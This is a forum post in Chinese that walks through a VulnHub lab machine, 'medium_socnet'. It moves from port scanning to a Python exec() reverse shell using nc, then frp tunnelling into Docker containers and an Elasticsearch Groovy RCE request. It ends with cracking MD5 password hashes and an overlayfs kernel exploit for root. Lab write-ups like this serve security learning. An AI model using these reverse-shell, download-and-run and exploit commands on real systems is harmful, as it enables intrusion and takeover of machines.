ToB企服应用市场:ToB评测及商务社交产业平台

标题: vulnhub-medium_socnet [打印本页]

作者: 知者何南    时间: 2024-2-19 10:12
标题: vulnhub-medium_socnet
medium_socnet

从学长那里薅来的靶机,说是基于docker的,挺有意思,那必须搞一下呀!(后面百度才知道这玩意是vulnhub上面的)
0x01 信息收集

一、主机扫描

还是老规矩,nmap扫一手。

发现192.168.56.101主机,而且22和5000端口是开着的。
访问一下5000端口看看

有个输入框,输入内容就会回显,这里我尝试丢个弹窗发现会被转义
  1. [/code][img]https://img2023.cnblogs.com/blog/3179656/202312/3179656-20231214225359393-1666916833.png[/img]
  2. 暂时不知道有啥用。
  3. [size=4]二、遍历目录[/size]
  4. dirsearch扫一下
  5. [code]dirsearch -u http://192.168.56.101:5000/
复制代码

有一个admin目录,访问一下

根据页面的提示,说是有一个exec()函数可以执行,叫我们输入代码。这里不清楚是哪种语言的exec函数,于是就都试了一下。最后确定了是python代码。

但是这里没有回显,就只是Ran the code这句话,尝试弹个shell看看。

0x02 docker1

在本地开启终端监听2333端口
  1. nc -lvvp 2333
复制代码
然后回到刚刚的输入框,输入如下代码反弹shell
  1. __import__('os').popen("nc 192.168.56.1 2333 -e /bin/bash")
复制代码
注意:这里为什么不用system函数,是因为没办法反弹shell,于是想到了还有一个popen函数可以;还有就是不能用/bin/bash,原因是当前用户主机上没有这个命令,只能用/bin/sh。

成功getshell!

0x03 内网穿透

相信都可以看到,当前目录有一个Dockerfile文件,这说明当前所处的环境是在docker里的,所以战斗还没结束,才刚刚开始呢。
查看一下当前的ip
  1. eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:03
  2.           inet addr:172.17.0.3  Bcast:172.17.255.255  Mask:255.255.0.0
  3.           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
  4.           RX packets:56753 errors:0 dropped:0 overruns:0 frame:0
  5.           TX packets:56729 errors:0 dropped:0 overruns:0 carrier:0
  6.           collisions:0 txqueuelen:0
  7.           RX bytes:7008504 (6.6 MiB)  TX bytes:7519009 (7.1 MiB)
  8. lo        Link encap:Local Loopback
  9.           inet addr:127.0.0.1  Mask:255.0.0.0
  10.           UP LOOPBACK RUNNING  MTU:65536  Metric:1
  11.           RX packets:0 errors:0 dropped:0 overruns:0 frame:0
  12.           TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
  13.           collisions:0 txqueuelen:0
  14.           RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
复制代码
很明显,172.17.0.3 是一个内网的ip,这对我第一次做这种主机感觉很有意思,不用很多台主机,却能构造一个类内网的环境,瞬间激起了我的兴趣。接下里可以把这台主机当作内网来打了。
一、内网信息收集

先查看一下当前的用户权限

ok,root权限,无所畏惧。cd到tmp目录下,上传fscan扫一波。
在fscan所在的目录开启python的http服务
  1. python -m http.server
复制代码

然后在目标主机执行命令
  1. wget http://192.168.56.1:8000/fscan
  2. chmod 777 fscan
  3. ./fscan -h 172.17.0.3/24
复制代码
fscan扫描的结果如下

存在三台主机(暂且说成主机),172.17.0.3是当前这台。172.17.0.1开着22端口,暂时没法利用。172.17.0.2开启着9200端口,可以选择从这台入手。
二、代理转发

现在的问题是172.17.0.2我无法访问,需要做一下socks代理。
首先先编辑一下frpc.ini文件
  1. [common]
  2. server_addr = 192.168.56.1
  3. server_port = 7777
  4. [socks5]
  5. type = tcp
  6. plugin = socks5
  7. remote_port = 6666
复制代码
然后编辑frps.ini
  1. [common]
  2. bind_addr = 0.0.0.0
  3. bind_port = 7777
复制代码
现在同样需要开启python的http服务,然后进入目标主机的/tmp目录下上传frpc和frpc.ini文件。
  1. cd /tmp
  2. wget http://192.168.56.1:8000/frpc
  3. wget http://192.168.56.1:8000/frpc.ini
  4. chmod 777 frpc
复制代码
然后在本地运行frps(这里是windows环境)
  1. frps.exe -c frps.ini
复制代码

然后再在目标主机上执行
  1. ./frpc -c frpc.ini
复制代码
像这种就算成功连接

接下来还需要一个重要角色——proxifier,我承认他确实好用哈哈。
需要先配置一下代理服务器,地址就是本地ip,然后端口是刚刚在frpc.ini设置的6666端口。

配置完后ok就可以了,然后浏览器访问172.17.0.2:9200。

成功访问!

0x04 docker2

从页面可以看出这应该是一个api,这个elasticsearch有点眼熟啊,这里有他的版本4.10.2,百度一手。
  1. {
  2.   "status" : 200,
  3.   "name" : "Boomer",
  4.   "cluster_name" : "elasticsearch",
  5.   "version" : {
  6.     "number" : "1.4.2",
  7.     "build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
  8.     "build_timestamp" : "2014-12-16T14:11:12Z",
  9.     "build_snapshot" : false,
  10.     "lucene_version" : "4.10.2"
  11.   },
  12.   "tagline" : "You Know, for Search"
  13. }
复制代码
百度说的是存在命令执行漏洞,也就是rce,找了一个poc,抓个包看看能不能用。
  1. POST /_search?pretty HTTP/1.1
  2. Host: xxxx
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. Connection: close
  7. Content-Length: 156
  8. {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()"}}}
复制代码
这里也是顺利执行了,而且是root权限,省的我提权了哈哈。

那么第二台也是被拿下(这里我不会反弹shell,因为他上面没有nc,用bash也弹不了,就没有再试了,应该是有办法可以反弹的,当时没有多想)。
第二台同样也是docker环境


0x05 宿主机

可以看到根目录下有一个passwords文件

于是获取一下内容,内容如下
  1. Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
  2. Example: 1234abcd
  3. john:3f8184a7343664553fcb5337a3138814
  4. test:861f194e9d6118f3d942a72be3e51749
  5. admin:670c3bbc209a18dde5446e5e6c1f1d5b
  6. root:b3d34352fc26117979deabdf1b9b6354
  7. jane:5c158b60ed97c723b673529b8a3cf72b
复制代码
欸,这我可能会想到这账户密码万一是第三台的ssh的账户密码呢?于是马不停蹄的md5解一下密。
  1. john:1337hack
  2. test:1234test
  3. admin:1111pass
  4. root:1234pass
  5. jane:1234jane"
复制代码
接下里就是一个一个试呗。这里试出来是john,哎root还是差点啊~


0x06 提升权限

查看一下ip
  1. docker0   Link encap:Ethernet  HWaddr 02:42:4e:92:81:cd
  2.           inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
  3.           inet6 addr: fe80::42:4eff:fe92:81cd/64 Scope:Link
  4.           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
  5.           RX packets:69070 errors:0 dropped:0 overruns:0 frame:0
  6.           TX packets:66850 errors:0 dropped:0 overruns:0 carrier:0
  7.           collisions:0 txqueuelen:0
  8.           RX bytes:7609931 (7.6 MB)  TX bytes:27188443 (27.1 MB)
  9. eth0      Link encap:Ethernet  HWaddr 08:00:27:a6:e2:ec
  10.           inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
  11.           inet6 addr: fe80::a00:27ff:fea6:e2ec/64 Scope:Link
  12.           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
  13.           RX packets:82567 errors:0 dropped:0 overruns:0 frame:0
  14.           TX packets:64591 errors:0 dropped:0 overruns:0 carrier:0
  15.           collisions:0 txqueuelen:1000
  16.           RX bytes:34336325 (34.3 MB
复制代码
ok,这才是真正的宿主机,现在不在docker内了。
查看一下宿主机的版本,看看有没有什么内核漏洞
  1. uname -a
复制代码

这个版本有点老,应该是有漏洞的,去kali里找找看。
  1. searchsploit linux 3.13.0
复制代码
这里是有一个特别明显的漏洞

overlayfs这个应该是可以利用的,把脚本放到当前目录
  1. searchsploit -m linux/local/37292.c
  2. vim 37292.c
复制代码
到这里我就不太会了,也是看了一下网上的wp才明白的。
是这样的,这个代码没有问题,但是需要删掉几个地方,红框里的都是需要删除的

因为他代码里要编译ofs-lib.c,但是ofs-lib.c文件这里没有,而kali有现成的ofs-lib.so文件,所以思路就是删除它编译的那段代码,然后把ofs-lib.so文件连同编译好的37292.c文件上传到目标主机。
定位到kali上的ofs-lib.so文件
  1. locate ofs-lib.so
复制代码
然后编译37292.c文件
  1. gcc 37292.c
复制代码
ok,准备工作都做完了,接下来上传文件(a.out就是编译后的可执行文件)
  1. cd /tmp
  2. wget http://192.168.56.1:8000/ofs-lib.so
  3. http://192.168.56.1:8000/a.out
  4. chmod 777 a.out
  5. ./a.out
复制代码
但是他这里报错啊,说是没有指定的链接库。没关系,我这里有Ubuntu 16可以用,低版本编译总不会报错吧(后面再学习怎么用指定的链接库链接,我太菜了呜呜呜)
编译成功后重新上传执行

成功!完结撒花!

0x07

不容易呀打这台主机,不过是真有意思,就是最后那里提权有点搞人心态哈哈。但是确实也是学到了很多东西。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4